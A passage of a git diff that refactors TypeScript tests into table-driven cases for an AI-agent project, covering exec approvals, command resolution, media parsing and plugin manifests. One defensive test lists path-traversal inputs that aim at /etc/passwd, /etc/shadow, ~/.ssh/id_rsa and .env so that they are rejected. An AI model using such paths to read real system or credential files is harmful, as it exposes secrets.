}, + ] as const)("accepts Telegram delivery with $name", ({ to }) => { const job = createIsolatedAgentTurnJob("job-telegram-valid", { mode: "announce", channel: "telegram", - to: "-1001234567890", - }); - - expect(() => applyJobPatch(job, { enabled: true })).not.toThrow(); - }); - - it("accepts Telegram delivery with valid target (colon delimiter)", () => { - const job = createIsolatedAgentTurnJob("job-telegram-valid-colon", { - mode: "announce", - channel: "telegram", - to: "-1001234567890:123", - }); - - expect(() => applyJobPatch(job, { enabled: true })).not.toThrow(); - }); - - it("accepts Telegram delivery with valid target (topic marker)", () => { - const job = createIsolatedAgentTurnJob("job-telegram-valid-topic", { - mode: "announce", - channel: "telegram", - to: "-1001234567890:topic:456", - }); - - expect(() => applyJobPatch(job, { enabled: true })).not.toThrow(); - }); - - it("accepts Telegram delivery without target", () => { - const job = createIsolatedAgentTurnJob("job-telegram-no-target", { - mode: "announce", - channel: "telegram", - }); - - expect(() => applyJobPatch(job, { enabled: true })).not.toThrow(); - }); - - it("accepts Telegram delivery with @username", () => { - const job = createIsolatedAgentTurnJob("job-telegram-username", { - mode: "announce", - channel: "telegram", - to: "@mybot", + ...(to ? { to } : {}), }); expect(() => applyJobPatch(job, { enabled: true })).not.toThrow(); @@ -401,27 +346,21 @@ describe("createJob rejects sessionTarget main for non-default agents", () => { ...(agentId !== undefined ? { agentId } : {}), }); - it("allows creating a main-session job for the default agent", () => { - const state = createMockState(now, { defaultAgentId: "main" }); - expect(() => createJob(state, mainJobInput())).not.toThrow(); - expect(() => createJob(state, mainJobInput("main"))).not.toThrow(); + it.each([ + { name: "default agent", defaultAgentId: "main", agentId: undefined }, + { name: "explicit default agent", defaultAgentId: "main", agentId: "main" }, + { name: "case-insensitive defaultAgentId match", defaultAgentId: "Main", agentId: "MAIN" }, + ] as const)("allows creating a main-session job for $name", ({ defaultAgentId, agentId }) => { + const state = createMockState(now, { defaultAgentId }); + expect(() => createJob(state, mainJobInput(agentId))).not.toThrow(); }); - it("allows creating a main-session job when defaultAgentId matches (case-insensitive)", () => { - const state = createMockState(now, { defaultAgentId: "Main" }); - expect(() => createJob(state, mainJobInput("MAIN"))).not.toThrow(); - }); - - it("rejects creating a main-session job for a non-default agentId", () => { - const state = createMockState(now, { defaultAgentId: "main" }); - expect(() => createJob(state, mainJobInput("custom-agent"))).toThrow( - 'cron: sessionTarget "main" is only valid for the default agent', - ); - }); - - it("rejects main-session job for non-default agent even without explicit defaultAgentId", () => { - const state = createMockState(now); - expect(() => createJob(state, mainJobInput("custom-agent"))).toThrow( + it.each([ + { name: "non-default agentId", defaultAgentId: "main", agentId: "custom-agent" }, + { name: "missing defaultAgentId", defaultAgentId: undefined, agentId: "custom-agent" }, + ] as const)("rejects creating a main-session job for $name", ({ defaultAgentId, agentId }) => { + const state = createMockState(now, defaultAgentId ? { defaultAgentId } : undefined); + expect(() => createJob(state, mainJobInput(agentId))).toThrow( 'cron: sessionTarget "main" is only valid for the default agent', ); }); @@ -478,22 +417,19 @@ describe("applyJobPatch rejects sessionTarget main for non-default agents", () = agentId, }); - it("rejects patching agentId to non-default on a main-session job", () => { + it.each([ + { name: "rejects patching agentId to non-default", agentId: "custom-agent", shouldThrow: true }, + { name: "allows patching agentId to the default agent", agentId: "main", shouldThrow: false }, + ] as const)("$name on a main-session job", ({ agentId, shouldThrow }) => { const job = createMainJob(); - expect(() => - applyJobPatch(job, { agentId: "custom-agent" } as CronJobPatch, { - defaultAgentId: "main", - }), - ).toThrow('cron: sessionTarget "main" is only valid for the default agent'); - }); - - it("allows patching agentId to the default agent on a main-session job", () => { - const job = createMainJob(); - expect(() => - applyJobPatch(job, { agentId: "main" } as CronJobPatch, { - defaultAgentId: "main", - }), - ).not.toThrow(); + const patch = { agentId } as CronJobPatch; + if (shouldThrow) { + expect(() => applyJobPatch(job, patch, { defaultAgentId: "main" })).toThrow( + 'cron: sessionTarget "main" is only valid for the default agent', + ); + return; + } + expect(() => applyJobPatch(job, patch, { defaultAgentId: "main" })).not.toThrow(); }); }); diff --git a/src/infra/exec-approval-reply.test.ts b/src/infra/exec-approval-reply.test.ts index c56cf996b62..459ae5116a6 100644 --- a/src/infra/exec-approval-reply.test.ts +++ b/src/infra/exec-approval-reply.test.ts @@ -8,25 +8,54 @@ import { } from "./exec-approval-reply.js"; describe("exec approval reply helpers", () => { + const invalidReplyMetadataCases = [ + { name: "empty object", payload: {} }, + { name: "null channelData", payload: { channelData: null } }, + { name: "array channelData", payload: { channelData: [] } }, + { name: "null execApproval", payload: { channelData: { execApproval: null } } }, + { name: "array execApproval", payload: { channelData: { execApproval: [] } } }, + { + name: "blank approval slug", + payload: { channelData: { execApproval: { approvalId: "req-1", approvalSlug: " " } } }, + }, + { + name: "blank approval id", + payload: { channelData: { execApproval: { approvalId: " ", approvalSlug: "slug-1" } } }, + }, + ] as const; + + const unavailableReasonCases = [ + { + reason: "initiating-platform-disabled" as const, + channelLabel: "Slack", + expected: "Exec approval is required, but chat exec approvals are not enabled on Slack.", + }, + { + reason: "initiating-platform-unsupported" as const, + channelLabel: undefined, + expected: + "Exec approval is required, but this platform does not support chat exec approvals.", + }, + { + reason: "no-approval-route" as const, + channelLabel: undefined, + expected: + "Exec approval is required, but no interactive approval client is currently available.", + }, + ] as const; + it("returns the approver DM notice text", () => { expect(getExecApprovalApproverDmNoticeText()).toBe( "Approval required. I sent the allowed approvers DMs.", ); }); - it("returns null for invalid reply metadata payloads", () => { - for (const payload of [ - {}, - { channelData: null }, - { channelData: [] }, - { channelData: { execApproval: null } }, - { channelData: { execApproval: [] } }, - { channelData: { execApproval: { approvalId: "req-1", approvalSlug: " " } } }, - { channelData: { execApproval: { approvalId: " ", approvalSlug: "slug-1" } } }, - ] as unknown[]) { + it.each(invalidReplyMetadataCases)( + "returns null for invalid reply metadata payload: $name", + ({ payload }) => { expect(getExecApprovalReplyMetadata(payload as ReplyPayload)).toBeNull(); - } - }); + }, + ); it("normalizes reply metadata and filters invalid decisions", () => { expect( @@ -100,7 +129,7 @@ describe("exec approval reply helpers", () => { expect(payload.text).toContain("Expires in: 0s"); }); - it("builds unavailable payloads for approver DMs and each fallback reason", () => { + it("builds unavailable payloads for approver DMs", () => { expect( buildExecApprovalUnavailableReplyPayload({ warningText: " Careful. ", @@ -110,34 +139,17 @@ describe("exec approval reply helpers", () => { ).toEqual({ text: "Careful.\n\nApproval required. I sent the allowed approvers DMs.", }); + }); - const cases = [ - { - reason: "initiating-platform-disabled" as const, - channelLabel: "Slack", - expected: "Exec approval is required, but chat exec approvals are not enabled on Slack.", - }, - { - reason: "initiating-platform-unsupported" as const, - channelLabel: undefined, - expected: - "Exec approval is required, but this platform does not support chat exec approvals.", - }, - { - reason: "no-approval-route" as const, - channelLabel: undefined, - expected: - "Exec approval is required, but no interactive approval client is currently available.", - }, - ]; - - for (const testCase of cases) { + it.each(unavailableReasonCases)( + "builds unavailable payload for reason $reason", + ({ reason, channelLabel, expected }) => { expect( buildExecApprovalUnavailableReplyPayload({ - reason: testCase.reason, - channelLabel: testCase.channelLabel, + reason, + channelLabel, }).text, - ).toContain(testCase.expected); - } - }); + ).toContain(expected); + }, + ); }); diff --git a/src/infra/exec-approvals-safe-bins.test.ts b/src/infra/exec-approvals-safe-bins.test.ts index 89c60d8b85e..2ff18747b6e 100644 --- a/src/infra/exec-approvals-safe-bins.test.ts +++ b/src/infra/exec-approvals-safe-bins.test.ts @@ -254,27 +254,22 @@ describe("exec approvals safe bins", () => { }, ]; - for (const testCase of cases) { - it(testCase.name, () => { - if (process.platform === "win32") { - return; - } - const cwd = testCase.cwd ?? makeTempDir(); - testCase.setup?.(cwd); - const executableName = testCase.executableName ?? "jq"; - const rawExecutable = testCase.rawExecutable ?? executableName; - const ok = isSafeBinUsage({ - argv: testCase.argv, - resolution: { - rawExecutable, - resolvedPath: testCase.resolvedPath, - executableName, - }, - safeBins: normalizeSafeBins(testCase.safeBins ?? [executableName]), - }); - expect(ok).toBe(testCase.expected); + it.runIf(process.platform !== "win32").each(cases)("$name", (testCase) => { + const cwd = testCase.cwd ?? makeTempDir(); + testCase.setup?.(cwd); + const executableName = testCase.executableName ?? "jq"; + const rawExecutable = testCase.rawExecutable ?? executableName; + const ok = isSafeBinUsage({ + argv: testCase.argv, + resolution: { + rawExecutable, + resolvedPath: testCase.resolvedPath, + executableName, + }, + safeBins: normalizeSafeBins(testCase.safeBins ?? [executableName]), }); - } + expect(ok).toBe(testCase.expected); + }); it("supports injected trusted safe-bin dirs for tests/callers", () => { if (process.platform === "win32") { diff --git a/src/infra/exec-command-resolution.test.ts b/src/infra/exec-command-resolution.test.ts index 7715d8c97bb..063cefc8df0 100644 --- a/src/infra/exec-command-resolution.test.ts +++ b/src/infra/exec-command-resolution.test.ts @@ -312,73 +312,75 @@ describe("exec-command-resolution", () => { ).toBeUndefined(); }); - it("keeps execution and policy targets coherent across wrapper classes", () => { - if (process.platform === "win32") { - return; - } - - const dir = makeTempDir(); - const binDir = path.join(dir, "bin"); - fs.mkdirSync(binDir, { recursive: true }); - const envPath = path.join(binDir, "env"); - const rgPath = path.join(binDir, "rg"); - const busybox = path.join(dir, "busybox"); - const resolvedShPath = fs.realpathSync("/bin/sh"); - for (const file of [envPath, rgPath, busybox]) { - fs.writeFileSync(file, ""); - fs.chmodSync(file, 0o755); - } - - const cases = [ - { - name: "transparent env wrapper", - argv: [envPath, "rg", "-n", "needle"], - env: makePathEnv(binDir), - expectedExecutionPath: rgPath, - expectedPolicyPath: rgPath, - expectedPlannedArgv: [fs.realpathSync(rgPath), "-n", "needle"], - allowlistPattern: rgPath, - allowlistSatisfied: true, - }, - { - name: "busybox shell multiplexer", - argv: [busybox, "sh", "-lc", "echo hi"], - env: { PATH: `${binDir}${path.delimiter}/bin:/usr/bin` }, - expectedExecutionPath: "/bin/sh", - expectedPolicyPath: busybox, - expectedPlannedArgv: [resolvedShPath, "-lc", "echo hi"], - allowlistPattern: busybox, - allowlistSatisfied: true, - }, - { - name: "semantic env wrapper", - argv: [envPath, "FOO=bar", "rg", "-n", "needle"], - env: makePathEnv(binDir), - expectedExecutionPath: envPath, - expectedPolicyPath: envPath, - expectedPlannedArgv: null, - allowlistPattern: envPath, - allowlistSatisfied: false, - }, - { - name: "wrapper depth overflow", - argv: buildNestedEnvShellCommand({ + it.runIf(process.platform !== "win32").each([ + { + name: "transparent env wrapper", + argvFactory: ({ envPath }: { envPath: string }) => [envPath, "rg", "-n", "needle"], + envFactory: ({ binDir }: { binDir: string }) => makePathEnv(binDir), + expectedExecutionPathFactory: ({ rgPath }: { rgPath: string }) => rgPath, + expectedPolicyPathFactory: ({ rgPath }: { rgPath: string }) => rgPath, + expectedPlannedArgvFactory: ({ rgPath }: { rgPath: string }) => [ + fs.realpathSync(rgPath), + "-n", + "needle", + ], + allowlistPatternFactory: ({ rgPath }: { rgPath: string }) => rgPath, + allowlistSatisfied: true, + }, + { + name: "busybox shell multiplexer", + argvFactory: ({ busybox }: { busybox: string }) => [busybox, "sh", "-lc", "echo hi"], + envFactory: ({ binDir }: { binDir: string }) => ({ + PATH: `${binDir}${path.delimiter}/bin:/usr/bin`, + }), + expectedExecutionPathFactory: () => "/bin/sh", + expectedPolicyPathFactory: ({ busybox }: { busybox: string }) => busybox, + expectedPlannedArgvFactory: () => [fs.realpathSync("/bin/sh"), "-lc", "echo hi"], + allowlistPatternFactory: ({ busybox }: { busybox: string }) => busybox, + allowlistSatisfied: true, + }, + { + name: "semantic env wrapper", + argvFactory: ({ envPath }: { envPath: string }) => [envPath, "FOO=bar", "rg", "-n", "needle"], + envFactory: ({ binDir }: { binDir: string }) => makePathEnv(binDir), + expectedExecutionPathFactory: ({ envPath }: { envPath: string }) => envPath, + expectedPolicyPathFactory: ({ envPath }: { envPath: string }) => envPath, + expectedPlannedArgvFactory: () => null, + allowlistPatternFactory: ({ envPath }: { envPath: string }) => envPath, + allowlistSatisfied: false, + }, + { + name: "wrapper depth overflow", + argvFactory: ({ envPath }: { envPath: string }) => + buildNestedEnvShellCommand({ envExecutable: envPath, depth: 5, payload: "echo hi", }), - env: makePathEnv(binDir), - expectedExecutionPath: envPath, - expectedPolicyPath: envPath, - expectedPlannedArgv: null, - allowlistPattern: envPath, - allowlistSatisfied: false, - }, - ] as const; - - for (const testCase of cases) { - const argv = [...testCase.argv]; - const resolution = resolveCommandResolutionFromArgv(argv, dir, testCase.env); + envFactory: ({ binDir }: { binDir: string }) => makePathEnv(binDir), + expectedExecutionPathFactory: ({ envPath }: { envPath: string }) => envPath, + expectedPolicyPathFactory: ({ envPath }: { envPath: string }) => envPath, + expectedPlannedArgvFactory: () => null, + allowlistPatternFactory: ({ envPath }: { envPath: string }) => envPath, + allowlistSatisfied: false, + }, + ] as const)( + "keeps execution and policy targets coherent across wrapper classes: $name", + (testCase) => { + const dir = makeTempDir(); + const binDir = path.join(dir, "bin"); + fs.mkdirSync(binDir, { recursive: true }); + const envPath = path.join(binDir, "env"); + const rgPath = path.join(binDir, "rg"); + const busybox = path.join(dir, "busybox"); + for (const file of [envPath, rgPath, busybox]) { + fs.writeFileSync(file, ""); + fs.chmodSync(file, 0o755); + } + const fixture = { binDir, envPath, rgPath, busybox } as const; + const argv = [...testCase.argvFactory(fixture)]; + const env = testCase.envFactory(fixture); + const resolution = resolveCommandResolutionFromArgv(argv, dir, env); const segment = { raw: argv.join(" "), argv, @@ -388,24 +390,24 @@ describe("exec-command-resolution", () => { name: testCase.name, resolution, cwd: dir, - expectedExecutionPath: testCase.expectedExecutionPath, - expectedPolicyPath: testCase.expectedPolicyPath, + expectedExecutionPath: testCase.expectedExecutionPathFactory(fixture), + expectedPolicyPath: testCase.expectedPolicyPathFactory(fixture), }); expect(resolvePlannedSegmentArgv(segment), `${testCase.name} planned argv`).toEqual( - testCase.expectedPlannedArgv, + testCase.expectedPlannedArgvFactory(fixture), ); const evaluation = evaluateExecAllowlist({ analysis: { ok: true, segments: [segment] }, - allowlist: [{ pattern: testCase.allowlistPattern }], + allowlist: [{ pattern: testCase.allowlistPatternFactory(fixture) }], safeBins: normalizeSafeBins([]), cwd: dir, - env: testCase.env, + env, }); expect(evaluation.allowlistSatisfied, `${testCase.name} allowlist`).toBe( testCase.allowlistSatisfied, ); - } - }); + }, + ); it("normalizes argv tokens for short clusters, long options, and special sentinels", () => { expect(parseExecArgvToken("")).toEqual({ kind: "empty", raw: "" }); diff --git a/src/interactive/payload.test.ts b/src/interactive/payload.test.ts index 12c071d5652..44b1d5f96dd 100644 --- a/src/interactive/payload.test.ts +++ b/src/interactive/payload.test.ts @@ -8,11 +8,13 @@ import { } from "./payload.js"; describe("hasReplyChannelData", () => { - it("accepts non-empty objects only", () => { - expect(hasReplyChannelData(undefined)).toBe(false); - expect(hasReplyChannelData({})).toBe(false); - expect(hasReplyChannelData([])).toBe(false); - expect(hasReplyChannelData({ slack: { blocks: [] } })).toBe(true); + it.each([ + { value: undefined, expected: false }, + { value: {}, expected: false }, + { value: [], expected: false }, + { value: { slack: { blocks: [] } }, expected: true }, + ] as const)("accepts non-empty objects only: %j", ({ value, expected }) => { + expect(hasReplyChannelData(value)).toBe(expected); }); }); @@ -28,20 +30,24 @@ describe("hasReplyContent", () => { ).toBe(false); }); - it("accepts shared interactive blocks and explicit extra content", () => { - expect( - hasReplyContent({ + it.each([ + { + name: "shared interactive blocks", + input: { interactive: { blocks: [{ type: "buttons", buttons: [{ label: "Retry", value: "retry" }] }], }, - }), - ).toBe(true); - expect( - hasReplyContent({ + }, + }, + { + name: "explicit extra content", + input: { text: " ", extraContent: true, - }), - ).toBe(true); + }, + }, + ] as const)("accepts $name", ({ input }) => { + expect(hasReplyContent(input)).toBe(true); }); }); @@ -55,28 +61,28 @@ describe("hasReplyPayloadContent", () => { ).toBe(true); }); - it("accepts explicit channel-data overrides and extra content", () => { - expect( - hasReplyPayloadContent( - { - text: " ", - channelData: {}, - }, - { - hasChannelData: true, - }, - ), - ).toBe(true); - expect( - hasReplyPayloadContent( - { - text: " ", - }, - { - extraContent: true, - }, - ), - ).toBe(true); + it.each([ + { + name: "explicit channel-data overrides", + payload: { + text: " ", + channelData: {}, + }, + options: { + hasChannelData: true, + }, + }, + { + name: "extra content", + payload: { + text: " ", + }, + options: { + extraContent: true, + }, + }, + ] as const)("accepts $name", ({ payload, options }) => { + expect(hasReplyPayloadContent(payload, options)).toBe(true); }); }); diff --git a/src/media/parse.test.ts b/src/media/parse.test.ts index 880cf7e2c0d..f2fdfd8b3db 100644 --- a/src/media/parse.test.ts +++ b/src/media/parse.test.ts @@ -8,40 +8,31 @@ describe("splitMediaFromOutput", () => { expect(result.text).toBe("Hello world"); }); - it("accepts supported media path variants", () => { - const pathCases = [ - ["/Users/pete/My File.png", "MEDIA:/Users/pete/My File.png"], - ["/Users/pete/My File.png", 'MEDIA:"/Users/pete/My File.png"'], - ["./screenshots/image.png", "MEDIA:./screenshots/image.png"], - ["media/inbound/image.png", "MEDIA:media/inbound/image.png"], - ["./screenshot.png", " MEDIA:./screenshot.png"], - ["C:\\Users\\pete\\Pictures\\snap.png", "MEDIA:C:\\Users\\pete\\Pictures\\snap.png"], - [ - "/tmp/tts-fAJy8C/voice-1770246885083.opus", - "MEDIA:/tmp/tts-fAJy8C/voice-1770246885083.opus", - ], - ["image.png", "MEDIA:image.png"], - ] as const; - for (const [expectedPath, input] of pathCases) { - const result = splitMediaFromOutput(input); - expect(result.mediaUrls).toEqual([expectedPath]); - expect(result.text).toBe(""); - } + it.each([ + ["/Users/pete/My File.png", "MEDIA:/Users/pete/My File.png"], + ["/Users/pete/My File.png", 'MEDIA:"/Users/pete/My File.png"'], + ["./screenshots/image.png", "MEDIA:./screenshots/image.png"], + ["media/inbound/image.png", "MEDIA:media/inbound/image.png"], + ["./screenshot.png", " MEDIA:./screenshot.png"], + ["C:\\Users\\pete\\Pictures\\snap.png", "MEDIA:C:\\Users\\pete\\Pictures\\snap.png"], + ["/tmp/tts-fAJy8C/voice-1770246885083.opus", "MEDIA:/tmp/tts-fAJy8C/voice-1770246885083.opus"], + ["image.png", "MEDIA:image.png"], + ] as const)("accepts supported media path variant: %s", (expectedPath, input) => { + const result = splitMediaFromOutput(input); + expect(result.mediaUrls).toEqual([expectedPath]); + expect(result.text).toBe(""); }); - it("rejects traversal and home-dir paths and strips them from output", () => { - const traversalCases = [ - "MEDIA:../../../etc/passwd", - "MEDIA:../../.env", - "MEDIA:~/.ssh/id_rsa", - "MEDIA:~/Pictures/My File.png", - "MEDIA:./foo/../../../etc/shadow", - ]; - for (const input of traversalCases) { - const result = splitMediaFromOutput(input); - expect(result.mediaUrls, `should reject media: ${input}`).toBeUndefined(); - expect(result.text, `should strip from text: ${input}`).toBe(""); - } + it.each([ + "MEDIA:../../../etc/passwd", + "MEDIA:../../.env", + "MEDIA:~/.ssh/id_rsa", + "MEDIA:~/Pictures/My File.png", + "MEDIA:./foo/../../../etc/shadow", + ] as const)("rejects traversal and home-dir path: %s", (input) => { + const result = splitMediaFromOutput(input); + expect(result.mediaUrls).toBeUndefined(); + expect(result.text).toBe(""); }); it("keeps audio_as_voice detection stable across calls", () => { diff --git a/src/node-host/invoke-system-run-plan.test.ts b/src/node-host/invoke-system-run-plan.test.ts index 372e66f6521..866fb5267fc 100644 --- a/src/node-host/invoke-system-run-plan.test.ts +++ b/src/node-host/invoke-system-run-plan.test.ts @@ -314,68 +314,66 @@ describe("hardenApprovedExecutionPaths", () => { }, ]; - for (const testCase of cases) { - it.runIf(process.platform !== "win32")(testCase.name, () => { - const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-approval-hardening-")); - const oldPath = process.env.PATH; - let pathToken: PathTokenSetup | null = null; - if (testCase.withPathToken) { - const binDir = path.join(tmp, "bin"); - fs.mkdirSync(binDir, { recursive: true }); - const link = path.join(binDir, "poccmd"); - fs.symlinkSync("/bin/echo", link); - pathToken = { expected: fs.realpathSync(link) }; - process.env.PATH = `${binDir}${path.delimiter}${oldPath ?? ""}`; - } - try { - if (testCase.mode === "build-plan") { - const prepared = buildSystemRunApprovalPlan({ - command: testCase.argv, - cwd: tmp, - }); - expect(prepared.ok).toBe(true); - if (!prepared.ok) { - throw new Error("unreachable"); - } - expect(prepared.plan.argv).toEqual(testCase.expectedArgv({ pathToken })); - if (testCase.expectedCmdText) { - expect(prepared.plan.commandText).toBe(testCase.expectedCmdText); - } - if (testCase.checkRawCommandMatchesArgv) { - expect(prepared.plan.commandText).toBe(formatExecCommand(prepared.plan.argv)); - } - if ("expectedCommandPreview" in testCase) { - expect(prepared.plan.commandPreview ?? null).toBe(testCase.expectedCommandPreview); - } - return; - } - - const hardened = hardenApprovedExecutionPaths({ - approvedByAsk: true, - argv: testCase.argv, - shellCommand: testCase.shellCommand ?? null, + it.runIf(process.platform !== "win32").each(cases)("$name", (testCase) => { + const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-approval-hardening-")); + const oldPath = process.env.PATH; + let pathToken: PathTokenSetup | null = null; + if (testCase.withPathToken) { + const binDir = path.join(tmp, "bin"); + fs.mkdirSync(binDir, { recursive: true }); + const link = path.join(binDir, "poccmd"); + fs.symlinkSync("/bin/echo", link); + pathToken = { expected: fs.realpathSync(link) }; + process.env.PATH = `${binDir}${path.delimiter}${oldPath ?? ""}`; + } + try { + if (testCase.mode === "build-plan") { + const prepared = buildSystemRunApprovalPlan({ + command: testCase.argv, cwd: tmp, }); - expect(hardened.ok).toBe(true); - if (!hardened.ok) { + expect(prepared.ok).toBe(true); + if (!prepared.ok) { throw new Error("unreachable"); } - expect(hardened.argv).toEqual(testCase.expectedArgv({ pathToken })); - if (typeof testCase.expectedArgvChanged === "boolean") { - expect(hardened.argvChanged).toBe(testCase.expectedArgvChanged); + expect(prepared.plan.argv).toEqual(testCase.expectedArgv({ pathToken })); + if (testCase.expectedCmdText) { + expect(prepared.plan.commandText).toBe(testCase.expectedCmdText); } - } finally { - if (testCase.withPathToken) { - if (oldPath === undefined) { - delete process.env.PATH; - } else { - process.env.PATH = oldPath; - } + if (testCase.checkRawCommandMatchesArgv) { + expect(prepared.plan.commandText).toBe(formatExecCommand(prepared.plan.argv)); } - fs.rmSync(tmp, { recursive: true, force: true }); + if ("expectedCommandPreview" in testCase) { + expect(prepared.plan.commandPreview ?? null).toBe(testCase.expectedCommandPreview); + } + return; } - }); - } + + const hardened = hardenApprovedExecutionPaths({ + approvedByAsk: true, + argv: testCase.argv, + shellCommand: testCase.shellCommand ?? null, + cwd: tmp, + }); + expect(hardened.ok).toBe(true); + if (!hardened.ok) { + throw new Error("unreachable"); + } + expect(hardened.argv).toEqual(testCase.expectedArgv({ pathToken })); + if (typeof testCase.expectedArgvChanged === "boolean") { + expect(hardened.argvChanged).toBe(testCase.expectedArgvChanged); + } + } finally { + if (testCase.withPathToken) { + if (oldPath === undefined) { + delete process.env.PATH; + } else { + process.env.PATH = oldPath; + } + } + fs.rmSync(tmp, { recursive: true, force: true }); + } + }); const mutableOperandCases: RuntimeFixture[] = [ { @@ -557,8 +555,9 @@ describe("hardenApprovedExecutionPaths", () => { }, ]; - for (const runtimeCase of mutableOperandCases) { - it(`captures mutable ${runtimeCase.name} operands in approval plans`, () => { + it.each(mutableOperandCases)( + "captures mutable $name operands in approval plans", + (runtimeCase) => { if (runtimeCase.skipOnWin32 && process.platform === "win32") { return; } @@ -587,8 +586,8 @@ describe("hardenApprovedExecutionPaths", () => { ); }, }); - }); - } + }, + ); it("captures mutable shell script operands in approval plans", () => { withScriptOperandPlanFixture( @@ -601,22 +600,20 @@ describe("hardenApprovedExecutionPaths", () => { ); }); - for (const testCase of unsafeRuntimeInvocationCases) { - it(testCase.name, () => { - withFakeRuntimeBin({ - binName: testCase.binName, - run: () => { - const tmp = fs.mkdtempSync(path.join(os.tmpdir(), testCase.tmpPrefix)); - try { - testCase.setup?.(tmp); - expectRuntimeApprovalDenied(testCase.command, tmp); - } finally { - fs.rmSync(tmp, { recursive: true, force: true }); - } - }, - }); + it.each(unsafeRuntimeInvocationCases)("$name", (testCase) => { + withFakeRuntimeBin({ + binName: testCase.binName, + run: () => { + const tmp = fs.mkdtempSync(path.join(os.tmpdir(), testCase.tmpPrefix)); + try { + testCase.setup?.(tmp); + expectRuntimeApprovalDenied(testCase.command, tmp); + } finally { + fs.rmSync(tmp, { recursive: true, force: true }); + } + }, }); - } + }); it("captures the real shell script operand after value-taking shell flags", () => { const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-shell-option-value-")); diff --git a/src/plugins/manifest-registry.test.ts b/src/plugins/manifest-registry.test.ts index 82d036a4102..c1fb55d7e90 100644 --- a/src/plugins/manifest-registry.test.ts +++ b/src/plugins/manifest-registry.test.ts @@ -83,6 +83,14 @@ function countDuplicateWarnings(registry: ReturnType, +): boolean { + return registry.diagnostics.some((diagnostic) => + diagnostic.message.includes("plugin id mismatch"), + ); +} + function prepareLinkedManifestFixture(params: { id: string; mode: "symlink" | "hardlink" }): { rootDir: string; linked: boolean; @@ -559,72 +567,28 @@ describe("loadPluginManifestRegistry", () => { expect(countDuplicateWarnings(loadRegistry(candidates))).toBe(0); }); - it("accepts provider-style id hints without warning", () => { + it.each([ + { name: "provider-style", manifestId: "openai", idHint: "openai-provider" }, + { name: "plugin-style", manifestId: "brave", idHint: "brave-plugin" }, + { name: "sandbox-style", manifestId: "openshell", idHint: "openshell-sandbox" }, + { + name: "media-understanding-style", + manifestId: "groq", + idHint: "groq-media-understanding", + }, + ] as const)("accepts $name id hints without warning", ({ manifestId, idHint }) => { const dir = makeTempDir(); - writeManifest(dir, { id: "openai", configSchema: { type: "object" } }); + writeManifest(dir, { id: manifestId, configSchema: { type: "object" } }); - const registry = loadRegistry([ - createPluginCandidate({ - idHint: "openai-provider", - rootDir: dir, - origin: "bundled", - }), - ]); - - expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe( - false, - ); - }); - - it("accepts plugin-style id hints without warning", () => { - const dir = makeTempDir(); - writeManifest(dir, { id: "brave", configSchema: { type: "object" } }); - - const registry = loadRegistry([ - createPluginCandidate({ - idHint: "brave-plugin", - rootDir: dir, - origin: "bundled", - }), - ]); - - expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe( - false, - ); - }); - - it("accepts sandbox-style id hints without warning", () => { - const dir = makeTempDir(); - writeManifest(dir, { id: "openshell", configSchema: { type: "object" } }); - - const registry = loadRegistry([ - createPluginCandidate({ - idHint: "openshell-sandbox", - rootDir: dir, - origin: "bundled", - }), - ]); - - expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe( - false, - ); - }); - - it("accepts media-understanding-style id hints without warning", () => { - const dir = makeTempDir(); - writeManifest(dir, { id: "groq", configSchema: { type: "object" } }); - - const registry = loadRegistry([ - createPluginCandidate({ - idHint: "groq-media-understanding", - rootDir: dir, - origin: "bundled", - }), - ]); - - expect(registry.diagnostics.some((diag) => diag.message.includes("plugin id mismatch"))).toBe( - false, - ); + expect( + hasPluginIdMismatchWarning( + loadSingleCandidateRegistry({ + idHint, + rootDir: dir, + origin: "bundled", + }), + ), + ).toBe(false); }); it("still warns for unrelated id hint mismatches", () => { diff --git a/src/plugins/min-host-version.test.ts b/src/plugins/min-host-version.test.ts index d896b81dd66..09b4a11c8a3 100644 --- a/src/plugins/min-host-version.test.ts +++ b/src/plugins/min-host-version.test.ts @@ -25,10 +25,14 @@ describe("min-host-version", () => { }); }); - it("rejects invalid floor syntax", () => { - expect(validateMinHostVersion("2026.3.22")).toBe(MIN_HOST_VERSION_FORMAT); - expect(validateMinHostVersion(123)).toBe(MIN_HOST_VERSION_FORMAT); - expect(validateMinHostVersion(">=2026.3.22 garbage")).toBe(MIN_HOST_VERSION_FORMAT); + it.each(["2026.3.22", 123, ">=2026.3.22 garbage"] as const)( + "rejects invalid floor syntax: %p", + (minHostVersion) => { + expect(validateMinHostVersion(minHostVersion)).toBe(MIN_HOST_VERSION_FORMAT); + }, + ); + + it("reports invalid floor syntax when checking host compatibility", () => { expect( checkMinHostVersion({ currentVersion: "2026.3.22", minHostVersion: "2026.3.22" }), ).toEqual({ @@ -73,24 +77,16 @@ describe("min-host-version", () => { }); }); - it("accepts equal or newer hosts", () => { - expect( - checkMinHostVersion({ currentVersion: "2026.3.22", minHostVersion: ">=2026.3.22" }), - ).toEqual({ - ok: true, - requirement: { - raw: ">=2026.3.22", - minimumLabel: "2026.3.22", - }, - }); - expect( - checkMinHostVersion({ currentVersion: "2026.4.0", minHostVersion: ">=2026.3.22" }), - ).toEqual({ - ok: true, - requirement: { - raw: ">=2026.3.22", - minimumLabel: "2026.3.22", - }, - }); - }); + it.each(["2026.3.22", "2026.4.0"] as const)( + "accepts equal or newer hosts: %s", + (currentVersion) => { + expect(checkMinHostVersion({ currentVersion, minHostVersion: ">=2026.3.22" })).toEqual({ + ok: true, + requirement: { + raw: ">=2026.3.22", + minimumLabel: "2026.3.22", + }, + }); + }, + ); }); diff --git a/src/security/dm-policy-shared.test.ts b/src/security/dm-policy-shared.test.ts index 0b21a2bbc21..2e9c656944e 100644 --- a/src/security/dm-policy-shared.test.ts +++ b/src/security/dm-policy-shared.test.ts @@ -83,20 +83,25 @@ describe("security/dm-policy-shared", () => { expect(state.isMultiUserDm).toBe(false); }); - it("skips pairing-store reads when dmPolicy is allowlist", async () => { - await expectStoreReadSkipped({ - provider: "demo-channel-a", - accountId: "default", - dmPolicy: "allowlist", - }); - }); - - it("skips pairing-store reads when shouldRead=false", async () => { - await expectStoreReadSkipped({ - provider: "demo-channel-b", - accountId: "default", - shouldRead: false, - }); + it.each([ + { + name: "dmPolicy is allowlist", + params: { + provider: "demo-channel-a", + accountId: "default", + 